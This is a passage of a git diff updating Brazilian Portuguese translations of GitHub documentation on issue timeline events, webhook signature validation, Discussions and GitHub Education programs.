-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 {% data reusables.issue-events.label-properties %}
 
-## unlocked
+## desbloqueado
 
-The issue was unlocked.
+O problema estava desbloqueado.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
-`lock_reason` | `string` | The reason an issue or pull request conversation was locked, if one was provided.
+`lock_reason` | `string` | O motivo pelo qual uma conversa sobre o problema ou pull request foi bloqueada, caso tenha sido fornecida.
 
 ## unmarked_as_duplicate
 
-An issue that a user had previously marked as a duplicate of another issue is no longer considered a duplicate, or a pull request that a user had previously marked as a duplicate of another pull request is no longer considered a duplicate.
+Um problema que um usuário havia marcado anteriormente como uma duplicata de outro problema não é considerado mais uma duplicata, ou um pull request que um usuário havia marcado anteriormente como uma duplicata de outro pull request não é mais considerado uma duplicata.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
-## unpinned
+## desfixado
 
-The issue was unpinned.
+O problema foi desfixado.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
-## unsubscribed
+## assinatura cancelada
 
-Someone unsubscribed from receiving notifications for an issue or pull request.
+Alguém cancelou a assinatura para receber notificações de um problema ou pull request.
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> |  | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |                            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 {% ifversion fpt or ghec %}
 ## user_blocked
 
-An organization owner blocked a user from the organization. This was done [through one of the blocked user's comments on the issue](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization#blocking-a-user-in-a-comment).
+Um proprietário da organização bloqueou um usuário da organização. Isso foi feito [por meio de um dos comentários de um usuário bloqueado no problema](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization#blocking-a-user-in-a-comment).
 
-### Availability
+### Disponibilidade
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Tipo de problema           | API de eventos de problema | API de eventos da linha de tempo |
+|:-------------------------- |:--------------------------:|:--------------------------------:|
+| <ul><li>Problemas</li><li>Pull requests</li></ul> |           **X**            |              **X**               |
 
-### Event object properties
+### Propriedades do objeto do evento
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
diff --git a/translations/pt-BR/content/developers/webhooks-and-events/webhooks/securing-your-webhooks.md b/translations/pt-BR/content/developers/webhooks-and-events/webhooks/securing-your-webhooks.md
index bc383cc73c..ab35ae9809 100644
--- a/translations/pt-BR/content/developers/webhooks-and-events/webhooks/securing-your-webhooks.md
+++ b/translations/pt-BR/content/developers/webhooks-and-events/webhooks/securing-your-webhooks.md
@@ -1,6 +1,6 @@
 ---
-title: Securing your webhooks
-intro: 'Ensure your server is only receiving the expected {% data variables.product.prodname_dotcom %} requests for security reasons.'
+title: Protegendo seus webhooks
+intro: 'Certifique-se de que seu servidor só esteja recebendo as solicitações esperadas do {% data variables.product.prodname_dotcom %} por motivos de segurança.'
 redirect_from:
   - /webhooks/securing
   - /developers/webhooks-and-events/securing-your-webhooks
@@ -12,42 +12,42 @@ versions:
 topics:
   - Webhooks
 ---
-Once your server is configured to receive payloads, it'll listen for any payload sent to the endpoint you configured. For security reasons, you probably want to limit requests to those coming from GitHub. There are a few ways to go about this--for example, you could opt to allow requests from GitHub's IP address--but a far easier method is to set up a secret token and validate the information.
+
+Assim que seu servidor estiver configurado para receber cargas, ele ouvirá qualquer carga enviada para o ponto de extremidade que você configurou. Por motivos de segurança, você provavelmente vai querer limitar os pedidos para aqueles provenientes do GitHub. Existem algumas maneiras de fazer isso. Você poderia, por exemplo, optar por permitir solicitações do endereço IP do GitHub. No entanto, um método muito mais fácil é configurar um token secreto e validar a informação.
 
 {% data reusables.webhooks.webhooks-rest-api-links %}
 
-## Setting your secret token
+## Definir seu token secreto
 
-You'll need to set up your secret token in two places: GitHub and your server.
+Você precisará configurar seu token secreto em dois lugares: no GitHub e no seu servidor.
 
-To set your token on GitHub:
+Para definir seu token no GitHub:
 
-1. Navigate to the repository where you're setting up your webhook.
-2. Fill out the Secret textbox. Use a random string with high entropy (e.g., by taking the output of `ruby -rsecurerandom -e 'puts SecureRandom.hex(20)'` at the terminal).
-![Webhook secret token field](/assets/images/webhook_secret_token.png)
-3. Click **Update Webhook**.
+1. Navegue até o repositório onde você está configurando seu webhook.
+2. Preencha a caixa de texto do segredo. Use uma string aleatória com alta entropia (por exemplo, pegando a saída de `ruby -rsecurerandom -e 'puts SecureRandom.hex(20)'` no terminal). ![Campo de webhook e token secreto](/assets/images/webhook_secret_token.png)
+3. Clique em **Atualizar o webhook**.
 
-Next, set up an environment variable on your server that stores this token. Typically, this is as simple as running:
+Em seguida, configure uma variável de ambiente em seu servidor que armazene este token. Normalmente, isso é tão simples quanto executar:
 
 ```shell
 $ export SECRET_TOKEN=<em>your_token</em>
 ```
 
-**Never** hardcode the token into your app!
+**Nunca** pré-programe o token no seu aplicativo!
 
-## Validating payloads from GitHub
+## Validar cargas do GitHub
 
-When your secret token is set, {% data variables.product.product_name %} uses it to create a hash signature with each payload. This hash signature is included with the headers of each request as `X-Hub-Signature-256`.
+Quando seu token secreto está definido, {% data variables.product.product_name %} o utiliza para criar uma assinatura de hash com cada carga. Esta assinatura de hash está incluída com os cabeçalhos de cada solicitação como `X-Hub-Signature-256`.
 
 {% ifversion fpt or ghes or ghec %}
 {% note %}
 
-**Note:** For backward-compatibility, we also include the `X-Hub-Signature` header that is generated using the SHA-1 hash function. If possible, we recommend that you use the `X-Hub-Signature-256` header for improved security. The example below demonstrates using the `X-Hub-Signature-256` header.
+**Observação:** Para compatibilidade com versões anteriores, também incluímos o cabeçalho `X-Hub-Signature` gerado usando a função de hash SHA-1. Se possível, recomendamos que você use o cabeçalho `X-Hub-Signature-256` para melhorar a segurança. O exemplo abaixo demonstra o uso do cabeçalho `X-Hub-Signature-256`.
 
 {% endnote %}
 {% endif %}
 
-For example, if you have a basic server that listens for webhooks, it might be configured similar to this:
+Por exemplo, se você tem um servidor básico que ouve webhooks, ele poderá ser configurado de forma semelhante a isso:
 
 ``` ruby
 require 'sinatra'
@@ -60,7 +60,7 @@ post '/payload' do
 end
 ```
 
-The intention is to calculate a hash using your `SECRET_TOKEN`, and ensure that the result matches the hash from {% data variables.product.product_name %}. {% data variables.product.product_name %} uses an HMAC hex digest to compute the hash, so you could reconfigure your server to look a little like this:
+O objetivo é calcular um hash usando seu `SECRET_TOKEN` e garantir que o resultado corresponda ao hash de {% data variables.product.product_name %}. {% data variables.product.product_name %} usa um resumo hexadecimal HMAC para calcular o hash. Portanto, você pode reconfigurar o seu servidor para que se pareça mais ou menos assim:
 
 ``` ruby
 post '/payload' do
@@ -79,14 +79,14 @@ end
 
 {% note %}
 
-**Note:** Webhook payloads can contain unicode characters. If your language and server implementation specifies a character encoding, ensure that you handle the payload as UTF-8.
+**Observação:** As cargas de webhook podem conter caracteres de unicode. Se o seu idioma e a implementação de servidor especificarem uma codificação de caracteres, certifique-se de que você manipula a carga como UTF-8.
 
 {% endnote %}
 
-Your language and server implementations may differ from this example code. However, there are a number of very important things to point out:
+A sua linguagem e implementações do servidor podem ser diferentes deste código de exemplo. No entanto, há uma série de aspectos muito importantes a destacar:
 
-* No matter which implementation you use, the hash signature starts with `sha256=`, using the key of your secret token and your payload body.
+* Não importa qual implementação você usa, a assinatura de hash começa com `sha256=`, usando a chave de o token do seu segredo e o texto da sua carga.
 
-* Using a plain `==` operator is **not advised**. A method like [`secure_compare`][secure_compare] performs a "constant time" string comparison, which helps mitigate certain timing attacks against regular equality operators.
+* Não **se recomenda** usar um operador simples de`==`. Um método como [`secure_compare`][secure_compare] executa uma comparação de strings "tempo constante", o que ajuda a mitigar certos ataques de tempo contra operadores de igualdade regular.
 
 [secure_compare]: https://rubydoc.info/github/rack/rack/master/Rack/Utils:secure_compare
diff --git a/translations/pt-BR/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md b/translations/pt-BR/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md
index 1470bba1bc..52cf6e8435 100644
--- a/translations/pt-BR/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md
+++ b/translations/pt-BR/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md
@@ -1,60 +1,60 @@
 ---
-title: About discussions
-intro: 'Use discussions to ask and answer questions, share information, make announcements, and conduct or participate in a conversation about a project on {% data variables.product.product_name %}.'
+title: Sobre discussões
+intro: 'Use discussões para fazer e responder perguntas, compartilhar informações, fazer anúncios e conduzir ou participar de uma conversa sobre um projeto em {% data variables.product.product_name %}.'
 versions:
   fpt: '*'
   ghec: '*'
 ---
 
 
-## About {% data variables.product.prodname_discussions %}
+## Sobre o {% data variables.product.prodname_discussions %}
 
-With {% data variables.product.prodname_discussions %}, the community for your project can create and participate in conversations within the project's repository. Discussions empower a project's maintainers, contributors, and visitors to gather and accomplish the following goals in a central location, without third-party tools.
+Com {% data variables.product.prodname_discussions %}, a comunidade para o seu projeto pode criar e participar de conversas no repositório do projeto. As discussões capacitam os mantenedores, contribuidores e visitantes para reunirem e atingirem os objetivos seguintes em um local central, sem ferramentas de terceiros.
 
-- Share announcements and information, gather feedback, plan, and make decisions
-- Ask questions, discuss and answer the questions, and mark the discussions as answered
-- Foster an inviting atmosphere for visitors and contributors to discuss goals, development, administration, and workflows
+- Compartilhar anúncios e informações, recolher feedback, planejar e tomar decisões
+- Faça perguntas, discuta e responda às perguntas, e marque as discussões como respondidas
+- Promova uma atmosfera convidativa para visitantes e contribuidores para discutir objetivos, desenvolvimento, administração e fluxos de trabalho
 
-![Discussions tab for a repository](/assets/images/help/discussions/hero.png)
+![Aba de discussões para um repositório](/assets/images/help/discussions/hero.png)
 
-You don't need to close a discussion like you close an issue or a pull request.
+Você não precisa fechar uma discussão como você fecha um problema ou um pull request.
 
-If a repository administrator or project maintainer enables {% data variables.product.prodname_discussions %} for a repository, anyone who visits the repository can create and participate in discussions for the repository. Repository administrators and project maintainers can manage discussions and discussion categories in a repository, and pin discussions to increase the visibility of the discussion. Moderators and collaborators can mark comments as answers, lock discussions, and convert issues to discussions. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Se um administrador de repositório ou mantenedor do projeto habilitar {% data variables.product.prodname_discussions %} para um repositório, qualquer pessoa que visitar o repositório poderá criar e participar de discussões do repositório. Os administradores de repositório e mantenedores de projetos podem gerenciar as discussões e categorias de discussão em um repositório e fixar discussões para aumentar a visibilidade da discussão. Os moderadores e colaboradores podem marcar comentários como respostas, travar discussões e converter problemas em discussões. Para obter mais informações, consulte "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
-For more information about management of discussions for your repository, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)."
+Para obter mais informações sobre o gerenciamento de discussões para o repositório, consulte "[Gerenciar discussões no seu repositório](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)".
 
-## About discussion organization
+## Sobre a organização de discussão
 
-You can organize discussions with categories and labels.
+Você pode organizar discussões com categorias e etiquetas.
 
 {% data reusables.discussions.you-can-categorize-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.repository-category-limit %}
 
-For discussions with a question/answer format, an individual comment within the discussion can be marked as the discussion's answer. {% data reusables.discussions.github-recognizes-members %}
+Para discussões com um formato de pergunta/resposta, é possível marcar um comentário individual dentro da discussão como a resposta da discussão. {% data reusables.discussions.github-recognizes-members %}
 
 {% data reusables.discussions.about-announcement-format %}
 
-For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)."
+Para obter mais informações, consulte "[Gerenciar categorias para discussões no seu repositório](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)".
 
 {% data reusables.discussions.you-can-label-discussions %}
 
-## Best practices for {% data variables.product.prodname_discussions %}
+## Práticas recomendadas para {% data variables.product.prodname_discussions %}
 
-As a community member or maintainer, start a discussion to ask a question or discuss information that affects the community. For more information, see "[Collaborating with maintainers using discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)."
+Como integrante ou mantenedor da comunidade, inicie uma discussão para fazer uma pergunta ou discutir informações que afetem a comunidade. Para obter mais informações, consulte "[Colaborar com mantenedores usando as discussões](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)".
 
-Participate in a discussion to ask and answer questions, provide feedback, and engage with the project's community. For more information, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)."
+Participe de uma discussão para fazer e responder a perguntas, fornecer feedback e envolver-se com a comunidade do projeto. Para obter mais informações, consulte "[Participar de uma discussão](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)".
 
-You can spotlight discussions that contain important, useful, or exemplary conversations among members in the community. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)."
+Você pode destacar discussões que contenham conversas importantes, úteis ou exemplares entre os integrantes da comunidade. Para obter mais informações, consulte "[Gerenciar discussões no seu repositório](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)".
 
-{% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)."
+{% data reusables.discussions.you-can-convert-an-issue %} Para obter mais informações, consulte "[Moderar discussões no seu repositório](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)".
 
-## Sharing feedback
+## Compartilhando feedback
 
-You can share your feedback about {% data variables.product.prodname_discussions %} with {% data variables.product.company_short %}. To join the conversation, see [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22).
+Você pode compartilhar seus comentários sobre {% data variables.product.prodname_discussions %} com {% data variables.product.company_short %}. Para se juntar à conversa, consulte [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22).
 
-## Further reading
+## Leia mais
 
-- "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)"
-- "[Searching discussions](/search-github/searching-on-github/searching-discussions)"
-- "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)"
-- "[Moderating comments and conversations](/communities/moderating-comments-and-conversations)"
-- "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github)"
+- "[Sobre escrita e formatação em {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)"
+- "[Pesquisar discussões](/search-github/searching-on-github/searching-discussions)"
+- "[Sobre notificações](/github/managing-subscriptions-and-notifications-on-github/about-notifications)"
+- "[Moderar comentários e conversas](/communities/moderating-comments-and-conversations)"
+- "[Mantendo sua segurança no {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github)"
diff --git a/translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md b/translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md
index 77e4c35b89..10e836793f 100644
--- a/translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md
+++ b/translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md
@@ -1,6 +1,6 @@
 ---
-title: About Campus Advisors
-intro: 'As an instructor or mentor, learn to use {% data variables.product.prodname_dotcom %} at your school with Campus Advisors training and support.'
+title: Sobre Consultores de campus
+intro: 'Como um instrutor ou mentor, aprenda a usar o {% data variables.product.prodname_dotcom %} na sua escola com treinamento e suporte de Consultores de campus.'
 redirect_from:
   - /education/teach-and-learn-with-github-education/about-campus-advisors
   - /github/teaching-and-learning-with-github-education/about-campus-advisors
@@ -9,14 +9,15 @@ redirect_from:
 versions:
   fpt: '*'
 ---
-Professors, teachers and mentors can use the Campus Advisors online training to master Git and {% data variables.product.prodname_dotcom %} and learn best practices for teaching students with {% data variables.product.prodname_dotcom %}.  For more information, see "[Campus Advisors](https://education.github.com/teachers/advisors)."
+
+Os mestres, professores e mentores podem usar o treinamento online Consultores de campus para dominar o Git e o {% data variables.product.prodname_dotcom %}, bem como para conhecer as práticas recomendadas de ensino com o {% data variables.product.prodname_dotcom %}.  Para obter mais informações, consulte "[Consultores de campus](https://education.github.com/teachers/advisors)".
 
 {% note %}
 
-**Note:** As an instructor, you can't create accounts on {% data variables.product.product_location %} for your students. Students must create their own accounts on {% data variables.product.product_location %}.
+**Observação:** Como instrutor, você não pode criar contas em {% data variables.product.product_location %} para seus alunos. Os alunos devem criar suas próprias contas em {% data variables.product.product_location %}.
 
 {% endnote %}
 
-Teachers can manage a course on software development with {% data variables.product.prodname_education %}. {% data variables.product.prodname_classroom %} allows you to distribute code, provide feedback, and manage coursework using {% data variables.product.product_name %}. For more information, see "[Manage coursework with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom)."
+Os professores podem gerenciar um curso sobre desenvolvimento de software com {% data variables.product.prodname_education %}. {% data variables.product.prodname_classroom %} permite distribuir código, fornecer feedback e gerenciar trabalhos do curso usando {% data variables.product.product_name %}. Para obter mais informações, consulte "[Gerenciar cursos com {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom)".
 
-If you're a student or academic faculty and your school isn't partnered with {% data variables.product.prodname_dotcom %} as a {% data variables.product.prodname_campus_program %} school, then you can still individually apply for discounts to use {% data variables.product.prodname_dotcom %}. For more information, see "[Use {% data variables.product.prodname_dotcom %} for your schoolwork](/education/teach-and-learn-with-github-education/use-github-for-your-schoolwork)" or "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research/)."
+Se você for estudante ou professor acadêmico e sua escola não faz parceria com o {% data variables.product.prodname_dotcom %} como uma escola do {% data variables.product.prodname_campus_program %}, ainda assim é possível solicitar descontos individualmente para usar o {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Usar o {% data variables.product.prodname_dotcom %} para fazer o trabalho de escola](/education/teach-and-learn-with-github-education/use-github-for-your-schoolwork)" ou "[Usar o {% data variables.product.prodname_dotcom %} em sala de aula e em pesquisas](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research/)".
diff --git a/translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md b/translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md
index e99cae3fc8..84feefebc0 100644
--- a/translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md
+++ b/translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md
@@ -1,6 +1,6 @@
 ---
-title: About GitHub Campus Program
-intro: '{% data variables.product.prodname_campus_program %} offers {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} free-of-charge for schools that want to make the most of {% data variables.product.prodname_dotcom %} for their community.'
+title: Sobre o Programa do GitHub Campus
+intro: '{% data variables.product.prodname_campus_program %} oferece {% data variables.product.prodname_ghe_cloud %} e {% data variables.product.prodname_ghe_server %} gratuitamente para as escolas que querem tirar o máximo proveito de {% data variables.product.prodname_dotcom %} para a sua comunidade.'
 redirect_from:
   - /education/teach-and-learn-with-github-education/about-github-education
   - /github/teaching-and-learning-with-github-education/about-github-education
@@ -9,38 +9,39 @@ redirect_from:
   - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program
 versions:
   fpt: '*'
-shortTitle: GitHub Campus Program
+shortTitle: Programa de campus do GitHub
 ---
-{% data variables.product.prodname_campus_program %} is a package of premium {% data variables.product.prodname_dotcom %} access for teaching-focused institutions that grant degrees, diplomas, or certificates. {% data variables.product.prodname_campus_program %} includes:
 
-- No-cost access to {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} for all of your technical and academic departments
-- 50,000 {% data variables.product.prodname_actions %} minutes and 50 GB {% data variables.product.prodname_registry %} storage
-- Teacher training to master Git and {% data variables.product.prodname_dotcom %} with our [Campus Advisor program](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-campus-advisors)
-- Exclusive access to new features, GitHub Education-specific swag, and free developer tools from {% data variables.product.prodname_dotcom %} partners
-- Automated access to premium {% data variables.product.prodname_education %} features, like the {% data variables.product.prodname_student_pack %}
+{% data variables.product.prodname_campus_program %} é um pacote de acesso premium de {% data variables.product.prodname_dotcom %} para instituições orientadas para o ensino que concedem graus, diplomas ou certificados. {% data variables.product.prodname_campus_program %} inclui:
 
-To read about how GitHub is used by educators, see [GitHub Education stories.](https://education.github.com/stories)
+- Acesso sem custo a {% data variables.product.prodname_ghe_cloud %} e {% data variables.product.prodname_ghe_server %} para todos os seus departamentos técnicos e acadêmicos
+- 50.000 {% data variables.product.prodname_actions %} minutos e 50 GB {% data variables.product.prodname_registry %} de armazenamento
+- Treinamento do professor para dominar o Git e {% data variables.product.prodname_dotcom %} com o nosso [Programa de Consultor de Campus](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-campus-advisors)
+- Acesso exclusivo a novas funcionalidades, swage específico do GitHub Education e ferramentas grátis de desenvolvedor dos parceiros de {% data variables.product.prodname_dotcom %}
+- Acesso automatizado a recursos premium do {% data variables.product.prodname_education %}, como o {% data variables.product.prodname_student_pack %}
 
-## {% data variables.product.prodname_campus_program %} terms and conditions
+Para ler sobre como o GitHub é usado pelos educadores, consulte [histórias do GitHub Education](https://education.github.com/stories).
 
-- The license is free for one year and will automatically renew for free every 2 years. You may continue on the free license so long as you continue to operate within the terms of the agreement. Any school that can agree to the [terms of the program](https://education.github.com/schools/terms) is welcome to join.
+## Termos e condições de {% data variables.product.prodname_campus_program %}
 
-- Please note that the licenses are for use by the whole school. Internal IT departments, academic research groups, collaborators, students, and other non-academic departments are eligible to use the licenses so long as they are not making a profit from its use. Externally funded research groups that are housed at the university may not use the free licenses.
+- A licença é grátis por um ano e será renovada automaticamente a cada 2 anos. Você pode continuar com a licença grátis desde que você continue operando nos termos do contrato. Qualquer escola que concorde com os [termos do programa](https://education.github.com/schools/terms) é bem-vinda.
 
-- You must offer {% data variables.product.prodname_dotcom %} to all of your technical and academic departments and your school’s logo will be shared on the GitHub Education website as a {% data variables.product.prodname_campus_program %} Partner.
+- Observe que as licenças são usadas por toda a escola. Os departamentos internos de TI, grupos de pesquisa acadêmica, colaboradores, estudantes, e outros departamentos não acadêmicos são elegíveis para a utilização das licenças, desde que não lucrem com a sua utilização. Os grupos de investigação alojados na universidade financiados externamente podem não utilizar as licenças grátis.
 
-- New organizations in your enterprise are automatically added to your enterprise account. To add organizations that existed before your school joined the {% data variables.product.prodname_campus_program %}, please contact [GitHub Education Support](https://support.github.com/contact/education). For more information about administrating your enterprise, see the [enterprise administrators documentation](/admin). New organizations in your enterprise are automatically added to your enterprise account. To add organizations that existed before your school joined the {% data variables.product.prodname_campus_program %}, please contact GitHub Education Support. 
+- Você deve oferecer {% data variables.product.prodname_dotcom %} para todos os seus departamentos técnicos e acadêmicos e o logotipo da sua escola será compartilhado no site do GitHub Education como parceiro do {% data variables.product.prodname_campus_program %}.
+
+- Novas organizações da empresa são automaticamente adicionadas à sua conta corporativa. Para adicionar organizações que existiam antes de sua escola juntar-se à {% data variables.product.prodname_campus_program %}, entre em contato com o [suporte do GitHub Education](https://support.github.com/contact/education). Para obter mais informações sobre como administrar sua empresa, consulte a documentação de [administradores da empresa ](/admin). Novas organizações da empresa são automaticamente adicionadas à sua conta corporativa. Para adicionar organizações que existiam antes de sua escola juntar-se à {% data variables.product.prodname_campus_program %}, entre em contato com o suporte do GitHub Education.
 
 
-To read more about {% data variables.product.prodname_dotcom %}'s privacy practices, see ["Global Privacy Practices"](/github/site-policy/global-privacy-practices)
+Para ler mais sobre as práticas de privacidade de {% data variables.product.prodname_dotcom %}, consulte ["Práticas Globais de Privacidade"](/github/site-policy/global-privacy-practices)
 
-## {% data variables.product.prodname_campus_program %} Application Eligibility
+## Elegibilidade do aplicativo de {% data variables.product.prodname_campus_program %}
 
-- Often times, a campus CTO/CIO, Dean, Department Chair, or Technology Officer signs the terms of the program on behalf of the campus.
+- Muitas vezes, um campus CTO/CIO, Dean, presidente do departamento ou responsável pela tecnologia assina os termos do programa em nome do campus.
 
-- If your school does not issue email addresses, {% data variables.product.prodname_dotcom %} will reach out to your account administrators with an alternative option to allow you to distribute the student developer pack to your students.
+- Se sua escola não emitir endereços de e-mail, {% data variables.product.prodname_dotcom %} entrará em contato com os administradores da sua conta com uma opção alternativa para permitir que você distribua o pacote de desenvolvedor para estudante para os seus alunos.
 
-For more information, see the [official {% data variables.product.prodname_campus_program %}](https://education.github.com/schools) page.
+Para obter mais informações, consulte a página [oficial do {% data variables.product.prodname_campus_program %}](https://education.github.com/schools).
 
-If you're a student or academic faculty and your school isn't partnered with {% data variables.product.prodname_dotcom %} as a {% data variables.product.prodname_campus_program %} school, then you can still individually apply for discounts to use {% data variables.product.prodname_dotcom %}. To apply for the Student Developer Pack, [see the application form](https://education.github.com/pack/join).
+Se você for estudante ou professor acadêmico e sua escola não faz parceria com o {% data variables.product.prodname_dotcom %} como uma escola do {% data variables.product.prodname_campus_program %}, ainda assim é possível solicitar descontos individualmente para usar o {% data variables.product.prodname_dotcom %}. Para candidatar-se ao pacote de desenvolvedor para estudantes, [consulte o formulário de candidatura](https://education.github.com/pack/join).
 
diff --git a/translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md b/translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md
index e1e2026fb4..a5dc64d809 100644
--- a/translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md
+++ b/translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md
@@ -1,6 +1,6 @@
 ---
-title: Apply for an educator or researcher discount
-intro: 'If you''re an educator or a researcher, you can apply to receive {% data variables.product.prodname_team %} for your organization account for free.'
+title: Solicitar um desconto de educador ou pesquisador
+intro: 'Sendo um educador ou pesquisador, você pode se candidatar para receber o {% data variables.product.prodname_team %} gratuitamente para a conta da sua organização.'
 redirect_from:
   - /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount
   - /github/teaching-and-learning-with-github-education/applying-for-an-educator-or-researcher-discount
@@ -12,17 +12,18 @@ redirect_from:
   - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-an-educator-or-researcher-discount
 versions:
   fpt: '*'
-shortTitle: Apply for a discount
+shortTitle: Solicitar desconto
 ---
-## About educator and researcher discounts
+
+## Sobre descontos para educador e pesquisador
 
 {% data reusables.education.about-github-education-link %}
 
 {% data reusables.education.educator-requirements %}
 
-For more information about user accounts on {% data variables.product.product_name %}, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/github/getting-started-with-github/signing-up-for-a-new-github-account)."
